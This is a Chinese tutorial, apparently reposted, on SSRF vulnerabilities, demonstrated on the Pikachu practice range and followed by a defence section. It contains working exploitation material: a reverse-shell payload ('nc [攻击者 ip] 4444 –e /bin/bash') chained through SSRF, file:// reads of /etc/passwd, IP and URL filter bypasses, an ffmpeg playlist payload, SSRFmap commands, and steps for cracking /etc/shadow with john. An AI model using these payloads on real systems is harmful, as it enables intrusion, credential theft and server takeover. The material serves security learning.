SSRF 漏洞笔记

news2025/8/8 13:15:17

什么是 SSRF 漏洞

SSRF(Server-Side Request Forgery,服务端请求伪造)是指攻击者向服务端发送包含恶意 URL 链接的请求,借由服务端去访问此 URL ,以获取受保护网络内的资源的一种安全漏洞。SSRF 常被用于探测攻击者无法访问到的网络区域,比如服务器所在的内网,或是受防火墙访问限制的主机。
SSRF 漏洞的产生,主要是因为在服务端的 Web 应用,需要从其他服务器拉取数据资源,比如图片、视频、文件的上传/下载、业务数据处理结果,但其请求地址可被外部用户控制。
请求地址被恶意利用的话,如下图所示,就能够以服务端的身份向任意地址发起请求,如果是一台存在远程代码执行漏洞的内网机器,借助 SSRF 漏洞就可以获取该内网机器的控制权。
在这里插入图片描述
在 SSRF 漏洞面前,哪怕是外网隔离的内网机器也无法保证绝对的安全。
以 Pikachu 靶场中的 SSRF(curl)题目为例,如下图中,点击“累了吧,来读一首诗吧”之后会发起以下请求:
http://localhost:8080/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/vul/ssrf/ssrf_info/info1.php
在这里插入图片描述
注意其中的 url 参数, 如果我们将其修改为“http://baidu.com”:
http://localhost:8080/vul/ssrf/ssrf_curl.php?url=http://baidu.com

那么它就会打开百度,这是服务端在向百度发起请求,并将返回内容回显到页面上的结果。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

漏洞的产生正是将 GET 参数 url 直接传递给 curl_exec 去访问,并调用 echo 将请求结果输出到页面,这正是设置“url=http://baidu.com”后,会打开百度的原因。

SSRF 的危害

基于前面介绍的 SSRF 原理,我们可以梳理出它可能出现的一些危害。

  • 内网探测:对内网服务器、办公机进行端口扫描、资产扫描、漏洞扫描。
  • 窃取本地和内网敏感数据:访问和下载内网的敏感数据,利用 File 协议访问服务器本地文件。
  • 攻击服务器本地或内网应用:利用发现的漏洞进一步发起攻击利用。
  • 跳板攻击:借助存在 SSRF 漏洞的服务器对内或对外发起攻击,以隐藏自己真实 IP。
  • 绕过安全防御:比如防火墙、CDN(内容分发网络,比如加速乐、百度云加速、安全宝等等)防御。
  • 拒绝服务攻击:请求超大文件,保持链接 Keep-Alive Always。

常见的利用与限制绕过方法
说了这么多,那我们来看一下 SSRF 漏洞常见的利用方法和绕过限制的手段。
1.利用支持的 URL Schema 发起请求伪造
不仅仅只是常见的 http/https 协议,OWASP 曾整理过一份相对比较完整的 URL Schema
在这里插入图片描述
在利用初期,可以尝试下目标支持哪些 URL Schema,但有一点需要提醒下:有些应用会自定义一些 URL Schema,如果它支持本地或网络地址请求,要注意避免遗漏掉。
2.读取本地文件
除了 http/https 协议外,File 也是各场景通用的伪协议,利用它我们可以读取服务器的本地文件,比如 /etc/passwd、/proc/self/environ……
在这里插入图片描述
3.攻击内网应用漏洞
前期可以利用 SSRF 漏洞对内网存活 IP 或域名进行漏洞扫描。有些业务为了测试,在内网搭建了一些存在漏洞;或是有漏洞没有及时修复,理由是在内网没影响。然后,有一些被外部 SSRF 漏洞打进来了,利用了 Struts2 漏洞控制了内网服务器。
比如内网有一台存在代码执行漏洞(http://192.168.x.x/vul.php?cmd=whoami)的服务器未开外网,那么攻击者就可以利用 SSRF 漏洞来攻击该内网服务器。以 Pikachu 靶场 SSRF(curl)题目为例,可以构造如下链接来获取内网服务器的 shell 控制权限:
http://localhost:8080/vul/ssrf/ssrf_curl.php?url=http://192.168.x.x/vul.php?cmd=nc [攻击者 ip] 4444 –e /bin/bash;
4.绕过 IP 限制
有些网站可能会限制访问 IP,此时就可以尝试使用以下方法绕过:

  • IPv6 地址,如 http://2000::1:2345:6789:abcd;
  • 十进制 IP,如 http://2130706433,相当于 127.0.0.1;
  • 八进制 IP,如 http://0177.0.0.01,相当于 127.0.0.1;
  • 十六进制 IP,如 http://0x7f.0x0.0x0.0x1,相当于 127.0.0.1;
  • 多进制混合 IP,如 http://0177.0x0.0x0.1,相当于 127.0.0.1;
  • Localhost 替代,如 http://127.127.127.127、http://0.0.0.0、http://127.1 等。

5.绕过 URL 解析限制
如果存在 URL 限制,可以尝试以下方法绕过:
使用其他可用的协议,可参考图 4 进行测试;

  • URL 欺骗方式,如http://127.1.1.1@127.2.2.2、http://evil$google.com、http://google.com#@evil.com……
  • 302 跳转切换协议,如请求头注入"Location: dict://lagou.com"
  • Unicode 转换,如 http://evil.c ℀.office.com

一些常见的 SSRF 限制策略与绕过手段,这些情况还是比较常用的,甚至有些漏洞修复后,用上述方法又被绕过了。掌握限制绕过方法也是挖掘 SSRF 漏洞的必备技巧。

SSRF 漏洞挖掘思路

要进行 SSRF 漏洞的防御,我们先要判断是否存在 SSRF 漏洞。
1.如何判断是否存在 SSRF 漏洞
判断 SSRF 漏洞是否存在,主要有以下 4 种方式:

  • 回显判断:如图 3 那种有返回请求结果并会显示出来,这种比较好判断。
  • 访问日志检查:伪造请求到自己控制的公网服务器,然后在服务器上查看访问日志是否有来自漏洞服务器的请求,或者直接使用命令“nc
    -lvp”来监听请求。
  • 延时对比:对比访问不同 IP/域名的访问时长,比如对百度与
    Google(国内访问受限)的访问时间,访问百度的时间通常比Google快,若是则可能存在漏洞。
  • DNS 请求检测:自己搭建 DNS 服务器,或者利用网上的 DNSLog
    服务(比如http://www.dnslog.cn/),生成一个域名(l08bgh.dnslog.cn)用于伪造请求,看漏洞服务器是否发起DNS 解析请求,若成功访问在 DNSLog.cn 上就会有解析日志。

构建以下链接,访问后再 DSNLog 上就会看到相应的解析日志了:
http://localhost:8080/vul/ssrf/ssrf_curl.php?url=http://l08bgh.dnslog.cn
2.容易出现 SSRF 漏洞的业务场景
哪些地方比较容易出现 SSRF 漏洞呢?主要分了 4 个方面来说。

  • 凡是能够对外发起网络请求的地方,且地址可被用户可控的,都有可能存在 SSRF 漏洞。 比如 RSS 订阅、字幕下载、支持输入 URL的功能、嵌入远程图片、收取第三方邮箱邮件。一些不明显的地方,可以通过爬包分析,从参数名来猜测,比如url、domain、site、src、target 等常见关键词来做进一步地测试验证。
  • 文件处理功能。 比如负责处理音视频的 ffmpeg,负责处理图片的 ImageMagic、处理办公文件的Office,PDF文档解析功能,还有 XML 解析器等地方,尤其是 ffmpeg 和 ImageMagic,它们曾多次出现过 SSRF 漏洞。

ffmpeg 在解析 mp4 文件时就曾出现过以下漏洞,构造一个包含以下内容的 mp4 文件,上传到支持音频解析的网站就可能造成 SSRF 漏洞。这种应用漏洞记得平时多收集,在实际渗透测试时非常有用。

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,http://192.168.123.100:8080/1.html
#EXT-X-ENDLIST

社交分享功能, 社交分享也是容易出现 SSRF 漏洞的地方。
信息采集功能,比如图片、文章收藏、网页快照、网页翻译、网页剪裁。
只是列举一些常见的场景,很难完全覆盖 SSRF 容易出现漏洞的场景,但核心思路就是理解业务功能,判断其是否存在对外发起网络请求,若是存在就有可能存在 SSRF 漏洞,然后进一步实际验证下,可以用下面介绍的 Burp Collaborator 作验证。

检测 SSRF 的通用方法和工具

1.方法:Burp Collaborator
检测 SSRF 的通用方法,无法是否有回显都适用的,那就是 Burp Collaborator。BurpSuite 默认提供 Collaborator Server 用于实现 DNS 解析,在一些无回显的安全测试中,会将解析日志返回给 BurpSuite。

不仅仅用于 SSRF,一些无回显的漏洞测试也同样适用,比如 SQL 注入。

在这里插入图片描述
Burp Collaborator 原理:
在这里插入图片描述
先利用 SSRF 漏洞让目标应用向 Burp 提供的 DNS 解析服务器 Burp Collaborator Server 发起请求,然后 Burp Collaborator Server 会查询对应的 DNS 请求记录并返回给 BurpSuite,从而帮助测试者判断 SSRF 漏洞是否存在。
仍以前面的靶场题目为例,打开 Burp Collaborator Client:
在这里插入图片描述
在这里插入图片描述
点击“Copy to clipboard”获取生成的域名,我这里生成的是“c4g9ga6x5zdxijo5d3aifxv6nxtnhc.burpcollaborator.net”,我们就可以构造如下利用链接:
http://localhost:8080/vul/ssrf/ssrf_curl.php?url=http://c4g9ga6x5zdxijo5d3aifxv6nxtnhc.burpcollaborator.net

访问后回到 Burp Collaborator client,点击“Poll now”就可以看到 DNS 请求记录,这说明存在 SSRF 漏洞。
在这里插入图片描述
个检测方法比较通用简单,且无须自己搭建 DNS 服务器.
2.工具:SSRFmap
这里给大家介绍一款 SSRF 检测工具:SSRFmap,利用它可检测与利用 SSRF 漏洞, 同时它也整合了一些常用漏洞可以结合 SSRF 去利用,比如 fastjson、mysql、github 的一些历史漏洞,还有端口扫描、读取文件等利用功能,都是实用的漏洞利用能力。
使用上会比 Burp Collaborator 便捷,但检测能力上其实没有 Burp Collaborator 那样准确,SSRFmap 有时会利用失败。所以个人推荐使用 Burp Collaborator 用来检测 SSRF 是否存在,再使用 SSRFmap 做一些漏洞利用,比如读取敏感文件等操作。
SSRFmap 是以 HTTP 请求数据作为文件输入,使用命令如下:
在这里插入图片描述
用其自带的测试用例,试用下:
FLASK_APP=data/example.py flask run &
python ssrfmap.py -r data/request.txt -p url -m readfiles

其中 data/request.txt 内容如下:
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1
url=https%3A%2F%2Fwww.google.fr%

它会读取很多敏感文件,比如 /etc/passwd、/etc/hosts:
在这里插入图片描述
以上我们测试了,然后读取了敏感文件,然后好像就戛然而止了,读取之后就没有下文了。比如你想破解主机密码,就可以读取文件 /etc/shadow 以获得用户名和密码密文,然后就可以用 john 去破解密码:
$ sudo cat /etc/shadow
root: 6 6 6TBFgG/seGvOG8nOp$LvZXXXXXXXENV2F6SEATplyE1QY33W2buEs10XLi.zQD8iwl.kCwsD.OMQ6WWkmUdu/9RPLHvLYSzMfcLj0:18446:0:99999:7:::
daemon::18375:0:99999:7:::
bin:
:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
……

加密的密码具有固定格式:
i d id idsalt$encrypted

  • id:表示加密算法,1 代表 MD5,5 代表 SHA-256,6 代表 SHA-512。
  • salt:表示密码学中的 Salt,由系统随机生成 。
  • encrypted:表示密码的 hash。

冒号后面的数值是一些日期和密码修改间隔天数的信息,可以不用管,以上述示例中 root 账号为例:

root: 6 6 6TBFgG/seGvOG8nOp$LvZXXXXXXXENV2F6SEATplyE1QY33W2buEs10XLi.zQD8iwl.kCwsD.OMQ6WWkmUdu/9RPLHvLYSzMfcLj0

  • id=6,即使用SHA-512哈希算法
  • salt=TBFgG
  • encrypted=seGvOG8nOp$LvZXXXXXXXENV2F6SEATplyE1QY33W2buEs10XLi.zQD8iwl.kCwsD.OMQ6WWkmUdu/9RPLHvLYSzMfcLj0

接下来可以直接使用 john 去破解 shadow 文件:

安装John the Ripper

$ sudo apt install john 
$ john
# 暴力破解获取的shadow文件中的账号密码
$ sudo john ./shadow

之后就是时间的等待,暴力破解有时看运气了,运气好的话我们就拿到服务器的登录账号和密码了。
SSRFmap 会有一些问题,比如 Pikachu 靶场中的 SSRF(curl)题目就没利用成功,而且 portscan 利用模块开启后就死循环,停不下来。这些都是工具的 Bug,在测试时我们不能完全依赖工具,还是得自己多手工验证。

SSRF 漏洞防御

有时基于业务功能需要,无法完全限制对外网络请求的功能,这就一定要依据业务场景做一些灵活的变通,不可一刀切。
这里介绍一些常用的 SSRF 防御方法:

  • 采用白名单限制,只允许访问特定的 IP 或域名,比如只允许访问拉勾网域名 *.lagou.com;
  • 限制内网 IP 访问,常见的内网 IP 段有 10.0.0.0 - 10.255.255.255、172.16.0.0 -
    172.31.255.255、192.168.0.0 - 192.168.255.255;
  • 禁用一些不必要的协议,比如 file://、gopher://、dict://。
    另外关闭错误回显、关闭高危端口、及时修复漏洞,哪怕它是处于内网环境,都有助于缓解 SSRF 漏洞的进一步利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/34336.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

引擎入门 | Unity UI简介–第1部分(9)

本期我们继续为大家进行Unity UI简介(第一部分)的后续教程 本篇内容 21.增加设置按钮 22.添加场景构建 文章末尾可免费获取教程源代码 本篇Unity UI简介(第一部分)篇幅较长,分为十篇,本篇为第九篇。 …

RK3568平台开发系列讲解(视频篇)视频编码的工作原理

🚀返回专栏总目录 文章目录 一、编码标准介绍二、编码器的工作编码原理介绍2.1、帧类型介绍2.2、消除时间上的冗余信息2.3、消除空间上的冗余信息沉淀、分享、成长,让自己和他人都能有所收获!😄 📢采集下来的内容最终是需要保存到一个视频文件中的,所以就需要用到视频…

折叠屏“世界杯”开哨,荣耀Magic Vs踢出关键一球

已经开幕的卡塔尔世界杯,点燃了全世界球员们的激情和球迷们的热情。有人关注比赛输赢结果,也有人在乎的是运动员高超的技法、球队成员的紧密配合、精彩的战略战术。折叠屏市场从2019元年至今,也来到了关键赛点。一方面,除苹果外重…

【零基础入门SpringMVC】第二期——匹配请求与获取请求参数

一、RequestMapping注解 该注解有什么作用呢? 将请求和处理请求的控制器方法关联起来 ,建立映射关系当SpringMVC接收到指定的请求后,就会通过映射关系中对应的控制器方法处理请求 我们可以查看一下该注解的源码: // // Source …

MyBatis-Plus之DQL编程控制

增删改查四个操作中,查询是非常重要的也是非常复杂的操作,本次介绍的有: 条件查询方式查询投影查询条件设定字段映射与表名映射 1. 条件查询 1.1 条件查询的类 MyBatisPlus将书写复杂的SQL查询条件进行了封装,使用编程的形式完…

Docker的镜像管理

Docker的镜像管理Docker的镜像管理一、Docker的镜像管理命令1.1 搜索镜像1.2 获取镜像1.3 镜像加速下载1.4 查看镜像信息1.5 获取镜像详细信息1.6 为本地的镜像添加新的标签1.7 删除镜像1.8 批量删除镜像1.8 存出镜像:将镜像保存成为本地文件1.9 载入镜像&#xff1…

如何用人工智能帮你剪视频?

痛点制作视频已经好几年了,但是剪片子一直是让我比较头疼的事儿。以前我一直搞不清楚,视频为什么需要剪辑。曾经有一段儿,我是这么录视频的。如果讲的时候出现了磕绊,或者有些展示过程出现问题,我怎么办?我…

Kotlin 开发Android app(十一):Android控件RecyclerView

Android 中的控件非常的丰富,我们会陆陆续续的进行介绍,从第九节开始,关于Kotlin 的语法特性就差不多结束,后面如果有发现需要说明的语法,再进行相关的补充。 在Android的控件中,RecyclerView算是一个大控…

常见性能测试指标

性能测试核心指标: 吞吐量 响应时间(Rsponse Time) 并发处理能力 资源占用能力 测试中的时间占比: 40%——性能测试分析 30%——测试执行 30%——测试结果分析 而全链路监控就是只要和系统相关的全部需要监控到。 吞吐量 单位…

JavaIO流:NIO梳理

NIO 也叫 Non-Blocking IO 是同步非阻塞的 IO 模型。线程发起 IO 请求后,立即返回。同步指的是必须等待 IO 缓冲区内的数据就绪,而非阻塞指的是,用户线程不原地等待 IO 缓冲区,可以先做一些其他操作,但是要定时轮询检查…

ctfshow XSS web316~web333

web316 反射性 XSS 题目提示我们要以 admin 获取 奇葩的是用网上的 xss 平台&#xff0c;获取的 cookie 全是自己的。 可以在自己的服务器上&#xff0c;创建一个接收 cookie 的 PHP 文件&#xff1a; <?php $cookie $_GET[cookie]; $time date(Y-m-d h:i:s, time()…

Mysql_实战_从入门到高级

Mysql_实战_从入门到高级 文章目录Mysql_实战_从入门到高级第二章 基于SpringBootMySQL实战案例第1集 SpringBoot项目搭建第2集 ORM关系对象映射做了什么&#xff1f;第3集 Mysql与Java实战之JdbcTemplate整合方式第4集 Mysql与JdbcTemplate增删改查第5集 HTTP应用增删改查协议…

Spring之AOP的切点、通知、切点表达式以及知识要点

1.2.1、需要编写的内容 编写核心业务代码&#xff08;目标类的目标方法&#xff09; 编写切面类&#xff0c;切面类中有通知(增强功能方法) 在配置文件中&#xff0c;配置织入关系&#xff0c;即将哪些通知与哪些连接点进行结合 1.2.2、AOP 技术实现的内容 Spring 框架监控…

如何用JavaScripte和HTML 实现一整套的考试答题卡和成绩表

相信在学校的你都有这样的体验&#xff0c;临近考试&#xff0c;要疯狂的“背诵”否则成绩单就要挂零&#xff0c;因为答题卡全部涂抹都是错的。 那么毕业多年的你&#xff0c;没有了考试&#xff0c;有没有一丝怀念涂答题卡的时候&#xff0c;有没有好奇这个答题卡到底如何制作…

【附源码】计算机毕业设计JAVA疫情下智慧社区系统

【附源码】计算机毕业设计JAVA疫情下智慧社区系统 目运行 环境项配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; JAVA …

使用Vue3封装的切换主题开关

组件介绍 第一次封装正经组件&#xff0c;更加深刻地感受到了Vue的强大及其带来的便利&#xff0c;记录一下&#x1f604;打算多搞几个练Vue3 这是一个绑定了两个自定义事件、两个具名插槽的组件&#xff0c;可以切换白天、黑夜两种状态&#xff0c;因为放了两个slot插槽因此…

Java接口的相关知识

文章目录接口的概念语法规则接口的使用接口的特征实现多个接口接口间的继承接口使用实例Clonable 接口和深拷贝抽象类和接口的区别Object获取对象信息&#xff08;toString&#xff09;对象比较equals方法接口的概念 在生活中&#xff0c;接口的例子比比皆是&#xff0c;比如&…

总结:Prometheus之PromQL操作符

一、介绍 使用PromQL除了能够方便的按照查询和过滤时间序列以外&#xff0c;PromQL还支持丰富的操作符&#xff0c;这些操作符包括&#xff1a;数学运算符&#xff0c;逻辑运算符&#xff0c;布尔运算符等等。 二、数学运算 (加法)- (减法)* (乘法)/ (除法)% (求余)^ (幂运算…

macOS Outlook 查看邮件的源码 HTML源码

文章目录一句话Intro系统及软件版本macOS 12.6 M1 chipOutlook 16.67 (22111300)操作方式邮件正文 demo一句话 查看Outlook中HTML格式邮件的HTML源代码&#xff1a; Windows&#xff1a;Actions > Other Actions > View Source macOS&#xff1a;鼠标右击要查看的邮件 &…

提高工作效率,让你快速获得Hypermesh二次开发能力!

众所周知&#xff0c;目前电子产品种类很多&#xff0c;产品更新换代很快&#xff0c;已经步入快消品行列&#xff0c;这必然导致每个厂商对于产品开发周期的要求很严格&#xff0c;其次消费者对产品越来越挑剔&#xff0c;对产品的创新性要求很高&#xff0c;如果产品的同质化…